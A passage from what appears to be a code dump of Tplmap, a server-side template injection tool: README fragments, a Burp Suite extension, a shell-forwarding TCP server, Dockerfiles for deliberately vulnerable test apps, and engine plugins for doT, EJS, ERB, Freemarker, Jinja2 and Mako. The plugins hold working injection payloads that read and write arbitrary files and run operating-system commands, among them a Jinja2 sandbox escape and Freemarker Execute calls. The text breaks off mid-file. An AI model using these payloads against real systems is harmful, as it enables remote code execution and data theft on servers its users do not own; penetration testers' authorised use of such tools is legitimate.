jython_installer.jar 20 | $ java -jar jython_installer.jar -s -d /path/to/install/jython -t standard 21 | ``` 22 | 2. Install additional Python modules 23 | ```sh 24 | $ cd /path/to/install/jython 25 | $ ./bin/pip install PyYaml requests 26 | ``` 27 | 3. Run your Burp Suite 28 | 4. Open Jython file chooser dialog 29 | [Extender] - [Options] - [Python Environment] - [Location of the Jython standalone JAR file] 30 | 5. Choose the file `/path/to/install/jython/jython.jar` 31 | 6. Load `burp_extender.py` as Python type burp extension 32 | 33 | ### Scanning 34 | 35 | Configure scanning option from 'Tplmap' tab, and do an active scan. 36 | 37 | ### Limitation 38 | 39 | Only the detection feature of Tplmap is available. 40 | Exploitation feature is not implemented, use Tplmap CLI. 41 | 42 | The `--injection-tag` option is also not available, because this extension follows Burp's Insertion Point setting. 43 | 44 | If you need the `--injection-tag` option, you can use [Scan manual insertion point](https://github.com/ClementNotin/burp-scan-manual-insertion-point) extension. 45 | -------------------------------------------------------------------------------- /modules/tplmap/burp_extension/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecHackLabs/webhackshl-termux/8dc6a824bf58794684e450d388c098f00e68dc0a/modules/tplmap/burp_extension/__init__.py -------------------------------------------------------------------------------- /modules/tplmap/burp_extension/burp_extender.py: -------------------------------------------------------------------------------- 1 | from burp import IBurpExtender 2 | from config_tab import ConfigTab 3 | from scanner_check import ScannerCheck 4 | 5 | class BurpExtender( IBurpExtender ): 6 | 7 | def registerExtenderCallbacks( self, callbacks ): 8 | configTab = ConfigTab( callbacks ) 9 | callbacks.setExtensionName( 'Tplmap' ) 10 | callbacks.addSuiteTab( configTab ) 11 | callbacks.registerScannerCheck( ScannerCheck( callbacks, configTab ) ) 12 | 13 | -------------------------------------------------------------------------------- /modules/tplmap/burp_extension/channel.py: -------------------------------------------------------------------------------- 1 | class Channel: 2 | 3 | def __init__( self, callbacks, configTab, baseRequestResponse, insertionPoint, payloadPosition ): 4 | self._callbacks = callbacks 5 | self._helpers = callbacks.getHelpers() 6 | self._configTab = configTab 7 | self._baseRequestResponse = baseRequestResponse 8 | self._insertionPoint = insertionPoint 9 | self._payloadPosition = payloadPosition 10 | self._request = self._helpers.analyzeRequest( baseRequestResponse ) 11 | 12 | self.url = self._request.getUrl() 13 | self.args = { 14 | 'level': self._configTab.getLevel(), 15 | 'technique': self._configTab.getTechniques() } 16 | self.data = {} 17 | self.detect = False 18 | self.messages = [] 19 | 20 | def req( self, injection ): 21 | payload = injection if self._payloadPosition == 'replace' else self._insertionPoint.getBaseValue() + injection 22 | checkRequest = self._insertionPoint.buildRequest( self._helpers.stringToBytes( payload ) ) 23 | checkRequestResponse = self._callbacks.makeHttpRequest( self._baseRequestResponse.getHttpService(), checkRequest ) 24 | self.messages.append( { 25 | 'injection': injection, 26 | 'requestResponse': checkRequestResponse 27 | } ) 28 | return self._helpers.bytesToString( checkRequestResponse.getResponse() ) 29 | 30 | def detected( self, technique, detail ): 31 | self.detect = True 32 | self.technique = technique 33 | self.detail = detail 34 | self.detect_offset = len( self.messages ) 35 | 36 | -------------------------------------------------------------------------------- /modules/tplmap/burp_extension/config_tab.py: -------------------------------------------------------------------------------- 1 | from burp import ITab 2 | 3 | from javax.swing import JPanel, GroupLayout, JLabel, JComboBox, JCheckBox 4 | from java.awt import Dimension 5 | 6 | from core.checks import plugins 7 | 8 | class ConfigTab( ITab, JPanel ): 9 | 10 | def __init__( self, callbacks ): 11 | self._callbacks = callbacks 12 | self._helpers = callbacks.getHelpers() 13 | self.__initLayout__() 14 | 15 | def __initLayout__( self ): 16 | self._levelComboBox = JComboBox() 17 | levelComboBoxSize = Dimension( 300, 30 ) 18 | self._levelComboBox.setPreferredSize( levelComboBoxSize ) 19 | self._levelComboBox.setMaximumSize( levelComboBoxSize ) 20 | for level in range( 0, 6 ): 21 | self._levelComboBox.addItem( str( level ) ) 22 | 23 | self._techRenderedCheckBox = JCheckBox( 'Rendered', True ) 24 | self._techTimebasedCheckBox = JCheckBox( 'Time-based', True ) 25 | 26 | self._plugin_groups = {} 27 | for plugin in plugins: 28 | parent = plugin.__base__.__name__ 29 | if not self._plugin_groups.has_key( parent ): 30 | self._plugin_groups[ parent ] = [] 31 | self._plugin_groups[ parent ].append( plugin ) 32 | self._pluginCheckBoxes = [] 33 | for pluginGroup in self._plugin_groups.values(): 34 | for plugin in pluginGroup: 35 | self._pluginCheckBoxes.append( PluginCheckBox( plugin ) ) 36 | 37 | self._positionReplaceCheckBox = JCheckBox( 'Replace', True ) 38 | self._positionAppendCheckBox = JCheckBox( 'Append', False ) 39 | 40 | displayItems = ( 41 | { 42 | 'label': 'Level', 43 | 'components': ( self._levelComboBox, ), 44 | 'description': 'Level of code context escape to perform (1-5, Default:0).' 45 | }, 46 | { 47 | 'label': 'Techniques', 48 | 'components': ( self._techRenderedCheckBox, self._techTimebasedCheckBox, ), 49 | 'description': 'Techniques R(endered) T(ime-based blind). Default: RT.' 50 | }, 51 | { 52 | 'label': 'Template Engines', 53 | 'components': self._pluginCheckBoxes, 54 | 'description': 'Force back-end template engine to this value(s).' 55 | }, 56 | { 57 | 'label': 'Payload position', 58 | 'components': ( self._positionReplaceCheckBox, self._positionAppendCheckBox, ), 59 | 'description': 'Scan payload position. This feature only appears in BurpExtension.' 60 | } 61 | ) 62 | 63 | layout = GroupLayout( self ) 64 | self.setLayout( layout ) 65 | layout.setAutoCreateGaps( True ) 66 | layout.setAutoCreateContainerGaps( True ) 67 | 68 | labelWidth = 200 69 | hgroup = layout.createParallelGroup( GroupLayout.Alignment.LEADING ) 70 | vgroup = layout.createSequentialGroup() 71 | for displayItem in displayItems: 72 | label = JLabel( displayItem.get( 'label' ) ) 73 | label.setToolTipText( displayItem.get( 'description' ) ) 74 | _hgroup = layout.createSequentialGroup().addComponent( label, labelWidth, labelWidth, labelWidth ) 75 | _vgroup = layout.createParallelGroup( GroupLayout.Alignment.BASELINE ).addComponent( label ) 76 | for component in displayItem.get( 'components' ): 77 | _hgroup.addComponent( component ) 78 | _vgroup.addComponent( component ) 79 | hgroup.addGroup( _hgroup ) 80 | vgroup.addGroup( _vgroup ) 81 | 82 | layout.setHorizontalGroup( hgroup ) 83 | layout.setVerticalGroup( vgroup ) 84 | 85 | def getTabCaption( self ): 86 | return 'Tplmap' 87 | 88 | def getUiComponent( self ): 89 | return self 90 | 91 | def getLevel( self ): 92 | return self._levelComboBox.getSelectedIndex() 93 | 94 | def getTechniques( self ): 95 | return '%s%s' % ( 'R' if self._techRenderedCheckBox.isSelected() else '', 'T' if self._techTimebasedCheckBox.isSelected() else '' ) 96 | 97 | def getEngines( self ): 98 | return [ checkbox.getPlugin() for checkbox in self._pluginCheckBoxes if checkbox.isSelected() ] 99 | 100 | def getPayloadPosition( self ): 101 | return { 'replace': self._positionReplaceCheckBox.isSelected(), 'append': self._positionAppendCheckBox.isSelected() } 102 | 103 | class PluginCheckBox( JCheckBox ): 104 | 105 | def __init__( self, plugin ): 106 | JCheckBox.__init__( self, plugin.__name__, True ) 107 | self._plugin = plugin 108 | parent = plugin.__base__.__name__ 109 | tooltip = parent if( parent != 'Plugin' ) else 'eval' 110 | self.setToolTipText( tooltip ) 111 | 112 | def getPlugin( self ): 113 | return self._plugin 114 | -------------------------------------------------------------------------------- /modules/tplmap/burp_extension/scanner_check.py: -------------------------------------------------------------------------------- 1 | from burp import IScannerCheck 2 | 3 | from channel import Channel 4 | from scan_issue import ScanIssue 5 | 6 | class ScannerCheck( IScannerCheck ): 7 | 8 | def __init__( self, callbacks, configTab ): 9 | self._callbacks = callbacks 10 | self._helpers = callbacks.getHelpers() 11 | self._configTab = configTab 12 | 13 | def doPassiveScan( self, baseRequestResponse ): 14 | return None 15 | 16 | def doActiveScan( self, baseRequestResponse, insertionPoint ): 17 | for position in [ position for ( position, selected ) in self._configTab.getPayloadPosition().items() if selected ]: 18 | channel = Channel( self._callbacks, self._configTab, baseRequestResponse, insertionPoint, position ) 19 | for engineClass in self._configTab.getEngines(): 20 | engine = engineClass( channel ) 21 | engine.detect() 22 | if channel.detect: 23 | return [ ScanIssue( self._callbacks, baseRequestResponse, insertionPoint, channel ) ] 24 | return None 25 | 26 | def consolidateDuplicateIssues( self, existingIssue, newIssue ): 27 | return 0 28 | 29 | -------------------------------------------------------------------------------- /modules/tplmap/config.yml: -------------------------------------------------------------------------------- 1 | # Tplmap home folder 2 | base_path: ~/.tplmap/ 3 | 4 | # Log HTTP responses under tplmap.log 5 | log_response: False 6 | 7 | # The number of seconds to delay the response when testing for 8 | # time-based blind injection. This will be added to the average 9 | # response time for render values. 10 | time_based_blind_delay: 4 -------------------------------------------------------------------------------- /modules/tplmap/core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecHackLabs/webhackshl-termux/8dc6a824bf58794684e450d388c098f00e68dc0a/modules/tplmap/core/__init__.py -------------------------------------------------------------------------------- /modules/tplmap/core/clis.py: -------------------------------------------------------------------------------- 1 | import cmd 2 | 3 | class Shell(cmd.Cmd): 4 | """Interactive shell.""" 5 | 6 | def __init__(self, inject_function, prompt): 7 | cmd.Cmd.__init__(self) 8 | 9 | self.inject_function = inject_function 10 | self.prompt = prompt 11 | 12 | def default(self, line): 13 | print self.inject_function(line) 14 | 15 | def emptyline(self): 16 | pass 17 | 18 | class MultilineShell(cmd.Cmd): 19 | """Interactive multiline shell.""" 20 | 21 | def __init__(self, inject_function, prompt): 22 | cmd.Cmd.__init__(self) 23 | 24 | self.inject_function = inject_function 25 | self.fixed_prompt = prompt 26 | 27 | self.lines = [] 28 | 29 | self._format_prompt() 30 | 31 | def _format_prompt(self): 32 | self.prompt = '[%i] %s' % ( 33 | len(self.lines), 34 | self.fixed_prompt 35 | ) 36 | 37 | def postcmd(self, stop, line): 38 | self._format_prompt() 39 | return stop 40 | 41 | def default(self, line): 42 | self.lines.append(line) 43 | 44 | def emptyline(self): 45 | 46 | # Do not save empty line if there is nothing to send 47 | if not self.lines: 48 | return 49 | 50 | def do_EOF(self, line): 51 | # Run the inject function and reset the state 52 | 53 | # Send the current line as well 54 | if line: 55 | self.lines.append(line) 56 | 57 | print 58 | print self.inject_function('\n'.join(self.lines)) 59 | self.lines = [] 60 | 61 | 62 | -------------------------------------------------------------------------------- /modules/tplmap/core/tcpserver.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from utils.loggers import log 3 | import sys 4 | import select 5 | 6 | class TcpServer: 7 | 8 | def __init__(self, port, timeout): 9 | self.connect = False 10 | self.hostname = '0.0.0.0' 11 | self.port = port 12 | 13 | self.timeout = timeout 14 | self.socket_state = False 15 | 16 | self.socket = None 17 | 18 | self.connect_socket() 19 | 20 | if not self.socket: return 21 | 22 | self.forward_data() 23 | 24 | def connect_socket(self): 25 | if(self.connect): 26 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 27 | self.socket.connect((self.hostname, self.port)) 28 | 29 | else: 30 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 31 | server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 32 | try: 33 | server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1) 34 | except socket.error: 35 | #log.debug("Warning: unable to set TCP_NODELAY...") 36 | pass 37 | 38 | try: 39 | server.bind(('0.0.0.0', self.port)) 40 | except socket.error as e: 41 | log.error("Port bind on 0.0.0.0:%s has failed: %s" % (self.port, str(e))) 42 | return 43 | 44 | server.listen(1) 45 | 46 | server.settimeout(self.timeout) 47 | 48 | try: 49 | self.socket, address = server.accept() 50 | except socket.timeout as e: 51 | server.close() 52 | raise 53 | 54 | 55 | def forward_data(self): 56 | 57 | log.info("Incoming connection accepted") 58 | 59 | self.socket.setblocking(0) 60 | 61 | while(1): 62 | read_ready, write_ready, in_error = select.select( 63 | [self.socket, sys.stdin], [], [self.socket, sys.stdin]) 64 | 65 | try: 66 | buffer = self.socket.recv(100) 67 | while(buffer != ''): 68 | 69 | self.socket_state = True 70 | 71 | sys.stdout.write(buffer) 72 | sys.stdout.flush() 73 | buffer = self.socket.recv(100) 74 | if(buffer == ''): 75 | return 76 | except socket.error: 77 | pass 78 | while(1): 79 | r, w, e = select.select([sys.stdin], [], [], 0) 80 | if(len(r) == 0): 81 | break 82 | c = sys.stdin.read(1) 83 | if(c == ''): 84 | return 85 | if(self.socket.sendall(c) != None): 86 | return 87 | -------------------------------------------------------------------------------- /modules/tplmap/docker-envs/Dockerfile.java: -------------------------------------------------------------------------------- 1 | FROM gradle:4.10.2-jdk8 2 | 3 | USER root 4 | 5 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip -y 6 | RUN pip install requests PyYAML 7 | 8 | COPY tests/env_java_tests/spark-app/ /apps/tests/env_java_tests/spark-app/ 9 | WORKDIR /apps/tests/ 10 | 11 | # install dependencies 12 | RUN cd env_java_tests/spark-app/ && sed -ie 's/id "com\.github\.johnrengelman\.shadow".*//' build.gradle && \ 13 | gradle classes 14 | 15 | COPY . /apps/ 16 | 17 | EXPOSE 15003 18 | 19 | CMD cd env_java_tests/spark-app/ && gradle run 20 | -------------------------------------------------------------------------------- /modules/tplmap/docker-envs/Dockerfile.node: -------------------------------------------------------------------------------- 1 | FROM node:10.12.0 2 | 3 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip libpython-dev -y 4 | RUN pip install requests PyYAML 5 | 6 | COPY tests/env_node_tests/ /apps/tests/env_node_tests/ 7 | 8 | RUN cd /apps/tests/env_node_tests/ && npm install randomstring connect pug nunjucks dustjs-linkedin@2.6 dustjs-helpers@1.5.0 marko dot ejs 9 | 10 | EXPOSE 15004 11 | 12 | COPY . /apps/ 13 | WORKDIR /apps/tests/ 14 | 15 | CMD cd /apps/tests/env_node_tests/ && node connect-app.js 16 | -------------------------------------------------------------------------------- /modules/tplmap/docker-envs/Dockerfile.php: -------------------------------------------------------------------------------- 1 | FROM php:7.2.10-apache 2 | 3 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip -y 4 | RUN pip install requests PyYAML 5 | 6 | RUN sed -i '0,/Listen [0-9]*/s//Listen 15002/' /etc/apache2/ports.conf 7 | 8 | RUN mkdir /var/www/html/lib/ && cd /var/www/html/lib && \ 9 | curl -sL 'https://github.com/smarty-php/smarty/archive/v3.1.32.tar.gz' | tar xzf - && \ 10 | curl -sL 'https://github.com/twigphp/Twig/archive/v1.20.0.tar.gz' | tar xzf - && \ 11 | curl -sL 'https://github.com/twigphp/Twig/archive/v1.19.0.tar.gz' | tar xzf - 12 | 13 | COPY . /apps/ 14 | COPY tests/env_php_tests/* /var/www/html/ 15 | 16 | WORKDIR /apps/tests/ 17 | -------------------------------------------------------------------------------- /modules/tplmap/docker-envs/Dockerfile.python2: -------------------------------------------------------------------------------- 1 | FROM python:2.7.15 2 | 3 | RUN pip install mako jinja2 flask tornado PyYAML requests 4 | RUN apt-get update && apt-get install dnsutils -y 5 | 6 | COPY . /apps/ 7 | WORKDIR /apps/tests/ 8 | 9 | RUN sed -i 's/127\.0\.0\.1/0.0.0.0/' env_py_tests/webserver.py 10 | 11 | EXPOSE 15001 12 | 13 | CMD python env_py_tests/webserver.py 14 | -------------------------------------------------------------------------------- /modules/tplmap/docker-envs/Dockerfile.python3: -------------------------------------------------------------------------------- 1 | FROM python:2.7.15 2 | 3 | RUN apt-get update && apt-get install dnsutils python3-pip -y 4 | RUN pip3 install mako jinja2 flask tornado 5 | RUN pip install PyYAML requests 6 | 7 | COPY . /apps/ 8 | WORKDIR /apps/tests/ 9 | 10 | RUN sed -i 's/127\.0\.0\.1/0.0.0.0/' env_py_tests/webserver.py 11 | 12 | EXPOSE 15001 13 | 14 | CMD python3 env_py_tests/webserver.py 15 | -------------------------------------------------------------------------------- /modules/tplmap/docker-envs/Dockerfile.ruby: -------------------------------------------------------------------------------- 1 | FROM ruby:2.5.1 2 | 3 | RUN gem install slim tilt cuba rack 4 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip -y 5 | RUN pip install requests PyYAML 6 | 7 | COPY . /apps/ 8 | WORKDIR /apps/tests/ 9 | 10 | EXPOSE 15005 11 | 12 | CMD cd env_ruby_tests && rackup --host 0.0.0.0 --port 15005 13 | -------------------------------------------------------------------------------- /modules/tplmap/docker-envs/README.md: -------------------------------------------------------------------------------- 1 | # Running vulnerable test environment in Docker 2 | 3 | To setup vulnerable environments for your test, you can use tplmap's test environment with Docker. 4 | 5 | The following command starts all test environments: 6 | 7 | ```sh 8 | $ docker-compose up 9 | ``` 10 | 11 | Starts specified test environments: 12 | 13 | ```sh 14 | $ docker-compose up tplmap_test_python tplmap_test_php 15 | ``` 16 | 17 | -------------------------------------------------------------------------------- /modules/tplmap/docker-envs/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | 3 | services: 4 | tplmap_test_python: 5 | build: 6 | context: ../ 7 | dockerfile: docker-envs/Dockerfile.python2 8 | restart: always 9 | ports: 10 | - "15001:15001" 11 | tplmap_test_python3: 12 | build: 13 | context: ../ 14 | dockerfile: docker-envs/Dockerfile.python3 15 | restart: always 16 | ports: 17 | - "15006:15001" 18 | tplmap_test_php: 19 | build: 20 | context: ../ 21 | dockerfile: docker-envs/Dockerfile.php 22 | restart: always 23 | ports: 24 | - "15002:15002" 25 | tplmap_test_java: 26 | build: 27 | context: ../ 28 | dockerfile: docker-envs/Dockerfile.java 29 | restart: always 30 | ports: 31 | - "15003:15003" 32 | tplmap_test_node: 33 | build: 34 | context: ../ 35 | dockerfile: docker-envs/Dockerfile.node 36 | restart: always 37 | ports: 38 | - "15004:15004" 39 | tplmap_test_ruby: 40 | build: 41 | context: ../ 42 | dockerfile: docker-envs/Dockerfile.ruby 43 | restart: always 44 | ports: 45 | - "15005:15005" 46 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecHackLabs/webhackshl-termux/8dc6a824bf58794684e450d388c098f00e68dc0a/modules/tplmap/plugins/__init__.py -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecHackLabs/webhackshl-termux/8dc6a824bf58794684e450d388c098f00e68dc0a/modules/tplmap/plugins/engines/__init__.py -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/dot.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from plugins.languages import javascript 3 | from utils.loggers import log 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Dot(javascript.Javascript): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'render': '{{=%(code)s}}', 15 | 'header': '{{=%(header)s}}', 16 | 'trailer': '{{=%(trailer)s}}' 17 | }, 18 | 'write' : { 19 | 'call' : 'inject', 20 | 'write' : """{{=global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')}}""", 21 | 'truncate' : """{{=global.process.mainModule.require('fs').writeFileSync('%(path)s', '')}}""" 22 | }, 23 | 'read' : { 24 | 'call': 'evaluate', 25 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64');""" 26 | }, 27 | 'md5' : { 28 | 'call': 'evaluate', 29 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex");""" 30 | }, 31 | 'evaluate' : { 32 | 'test_os': """global.process.mainModule.require('os').platform()""", 33 | }, 34 | 'execute' : { 35 | 'call': 'evaluate', 36 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString());""" 37 | }, 38 | 'execute_blind' : { 39 | # The bogus prefix is to avoid false detection of Javascript instead of doT 40 | 'call': 'inject', 41 | 'execute_blind': """{{=''}}{{global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i');}}""" 42 | }, 43 | }) 44 | 45 | self.set_contexts([ 46 | 47 | # Text context, no closures 48 | { 'level': 0 }, 49 | 50 | { 'level': 1, 'prefix': '%(closure)s;}}', 'suffix' : '{{1;', 'closures' : javascript.ctx_closures }, 51 | 52 | ]) 53 | 54 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/ejs.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from plugins.languages import javascript 3 | from utils.loggers import log 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Ejs(javascript.Javascript): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'header': """<%%- '%(header)s'+""", 15 | 'trailer': """+'%(trailer)s' %%>""", 16 | }, 17 | 'write' : { 18 | 'write' : """<%%global.process.mainModule.require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')%%>""", 19 | 'truncate' : """<%%global.process.mainModule.require('fs').writeFileSync('%(path)s', '')%%>""" 20 | }, 21 | 'read' : { 22 | 'read' : """global.process.mainModule.require('fs').readFileSync('%(path)s').toString('base64')""" 23 | }, 24 | 'md5' : { 25 | 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('%(path)s')).digest("hex")""" 26 | }, 27 | 'evaluate' : { 28 | 'test_os': """global.process.mainModule.require('os').platform()""" 29 | }, 30 | 'execute_blind' : { 31 | 'execute_blind': """<%%global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')%%>""" 32 | }, 33 | 'execute' : { 34 | 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())""" 35 | }, 36 | }) 37 | 38 | self.set_contexts([ 39 | 40 | # Text context, no closures 41 | { 'level': 0 }, 42 | 43 | { 44 | 'level': 1, 45 | 'prefix': '%(closure)s%%>', # Terminates EJS tag 46 | 'suffix' : '<%%#', # EJS comment out 47 | 'closures' : javascript.ctx_closures 48 | }, 49 | 50 | { 51 | 'level': 2, 52 | 'prefix': '%(closure)s%%>', # Terminates EJS tag 53 | 'suffix' : '<%%#', # EJS comment out 54 | 'closures' : { 1: [ "'", ')' ], 2: [ '"', ')' ] } # Close function with quote 55 | }, 56 | 57 | { 58 | 'level': 3, 59 | 'prefix': '*/%%>', # Terminates block comments 60 | 'suffix' : '<%%#' # EJS comment out 61 | }, 62 | 63 | ]) 64 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/erb.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from plugins.languages import ruby 3 | from utils.loggers import log 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Erb(ruby.Ruby): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'render': '"#{%(code)s}"', 15 | 'header': """<%%= '%(header)s'+""", 16 | 'trailer': """+'%(trailer)s' %%>""", 17 | }, 18 | 'write' : { 19 | 'call' : 'inject', 20 | 'write': """<%%= require'base64';File.open('%(path)s', 'ab+') {|f| f.write(Base64.urlsafe_decode64('%(chunk_b64)s')) } %%>""", 21 | 'truncate' : """<%%= File.truncate('%(path)s', 0) %%>""" 22 | }, 23 | 'evaluate_blind' : { 24 | 'call': 'inject', 25 | 'evaluate_blind': """<%%= require'base64';eval(Base64.urlsafe_decode64('%(code_b64)s'))&&sleep(%(delay)i) %%>""" 26 | }, 27 | 'execute_blind' : { 28 | 'call': 'inject', 29 | 'execute_blind': """<%%= require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')+' && sleep %(delay)i'}) %%>""" 30 | }, 31 | }) 32 | 33 | self.set_contexts([ 34 | 35 | # Text context, no closures 36 | { 'level': 0 }, 37 | 38 | # TODO: add contexts 39 | ]) 40 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/freemarker.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote, chunkit, md5 2 | from utils.loggers import log 3 | from utils import rand 4 | from plugins.languages import java 5 | import re 6 | 7 | class Freemarker(java.Java): 8 | 9 | def init(self): 10 | 11 | self.update_actions({ 12 | 'render' : { 13 | 'render': '%(code)s', 14 | 'header': '${%(header)s?c}', 15 | 'trailer': '${%(trailer)s?c}', 16 | 'test_render': """${%(r1)s}<#--%(comment)s-->${%(r2)s}""" % { 17 | 'r1' : rand.randints[0], 18 | 'comment' : rand.randints[1], 19 | 'r2' : rand.randints[2] 20 | }, 21 | 'test_render_expected': '%(r1)s%(r2)s' % { 22 | 'r1' : rand.randints[0], 23 | 'r2' : rand.randints[2] 24 | } 25 | }, 26 | 'write' : { 27 | 'call' : 'inject', 28 | 'write' : """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s") }""", 29 | 'truncate' : """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {echo,-n,}>%(path)s") }""", 30 | }, 31 | # Not using execute here since it's rendered and requires set headers and trailers 32 | 'execute_blind' : { 33 | 'call': 'inject', 34 | 'execute_blind': """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}") }""" 35 | }, 36 | 'execute' : { 37 | 'call': 'render', 38 | 'execute': """<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}") }""" 39 | } 40 | 41 | }) 42 | 43 | 44 | self.set_contexts([ 45 | 46 | 47 | # Text context, no closures 48 | { 'level': 0 }, 49 | 50 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '', 'closures' : java.ctx_closures }, 51 | 52 | # This handles <#assign s = %s> and <#if 1 == %s> and <#if %s == 1> 53 | { 'level': 2, 'prefix': '%(closure)s>', 'suffix' : '', 'closures' : java.ctx_closures }, 54 | { 'level': 5, 'prefix': '-->', 'suffix' : '<#--' }, 55 | { 'level': 5, 'prefix': '%(closure)s as a><#list [1] as a>', 'suffix' : '', 'closures' : java.ctx_closures }, 56 | ]) 57 | 58 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/jinja2.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from plugins.languages import python 3 | from utils.loggers import log 4 | from utils import rand 5 | import base64 6 | import re 7 | 8 | class Jinja2(python.Python): 9 | 10 | def init(self): 11 | 12 | self.update_actions({ 13 | 'render' : { 14 | 'render': '{{%(code)s}}', 15 | 'header': '{{%(header)s}}', 16 | 'trailer': '{{%(trailer)s}}', 17 | 'test_render': '(%(n1)s,%(n2)s*%(n3)s)' % { 18 | 'n1' : rand.randints[0], 19 | 'n2' : rand.randints[1], 20 | 'n3' : rand.randints[2] 21 | }, 22 | 'test_render_expected': '%(res)s' % { 23 | 'res' : (rand.randints[0],rand.randints[1]*rand.randints[2]) 24 | } 25 | }, 26 | 'evaluate' : { 27 | 'call': 'render', 28 | 'evaluate': """''}}{%% set d = "eval(__import__('base64').urlsafe_b64decode('%(code_b64)s'))" %%}{%% for c in [].__class__.__base__.__subclasses__() %%} {%% if c.__name__ == 'catch_warnings' %%} 29 | {%% for b in c.__init__.__globals__.values() %%} {%% if b.__class__ == {}.__class__ %%} 30 | {%% if 'eval' in b.keys() %%} 31 | {{ b['eval'](d) }} 32 | {%% endif %%} {%% endif %%} {%% endfor %%} 33 | {%% endif %%} {%% endfor %%}{{''""" 34 | }, 35 | 'execute_blind' : { 36 | 'call': 'inject', 37 | 'execute_blind': """{%% set d = "__import__('os').popen(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode() + ' && sleep %(delay)i').read()" %%}{%% for c in [].__class__.__base__.__subclasses__() %%} {%% if c.__name__ == 'catch_warnings' %%} 38 | {%% for b in c.__init__.__globals__.values() %%} {%% if b.__class__ == {}.__class__ %%} 39 | {%% if 'eval' in b.keys() %%} 40 | {{ b['eval'](d) }} 41 | {%% endif %%} {%% endif %%} {%% endfor %%} 42 | {%% endif %%} {%% endfor %%}""" 43 | }, 44 | }) 45 | 46 | self.set_contexts([ 47 | 48 | # Text context, no closures 49 | { 'level': 0 }, 50 | 51 | # This covers {{%s}} 52 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '', 'closures' : python.ctx_closures }, 53 | 54 | # This covers {% %s %} 55 | { 'level': 1, 'prefix': '%(closure)s%%}', 'suffix' : '', 'closures' : python.ctx_closures }, 56 | 57 | # If and for blocks 58 | # # if %s:\n# endif 59 | # # for a in %s:\n# endfor 60 | { 'level': 5, 'prefix': '%(closure)s\n', 'suffix' : '\n', 'closures' : python.ctx_closures }, 61 | 62 | # Comment blocks 63 | { 'level': 5, 'prefix' : '#}', 'suffix' : '{#' }, 64 | 65 | ]) 66 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/engines/mako.py: -------------------------------------------------------------------------------- 1 | from plugins.languages import python 2 | from utils.loggers import log 3 | from utils import rand 4 | import re 5 | 6 | class Mako(python.Python): 7 | 8 | def init(self): 9 | 10 | self.update_actions({ 11 | 'render' : { 12 | 'render': '${%(code)s}', 13 | 'header': '${%(header)s}', 14 | 'trailer': '${%(trailer)s}' 15 | }, 16 | }) 17 | 18 | self.set_contexts([ 19 | 20 | # Text context, no closures 21 | { 'level': 0 }, 22 | 23 | # Normal reflecting tag ${} 24 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '', 'closures' : python.ctx_closures }, 25 | 26 | # Code blocks 27 | # This covers <% %s %>, <%! %s %>, <% %s=1 %> 28 | { 'level': 1, 'prefix': '%(closure)s%%>', 'suffix' : '<%%#', 'closures' : python.ctx_closures }, 29 | 30 | # If and for blocks 31 | # % if %s:\n% endif 32 | # % for a in %s:\n% endfor 33 | { 'level': 5, 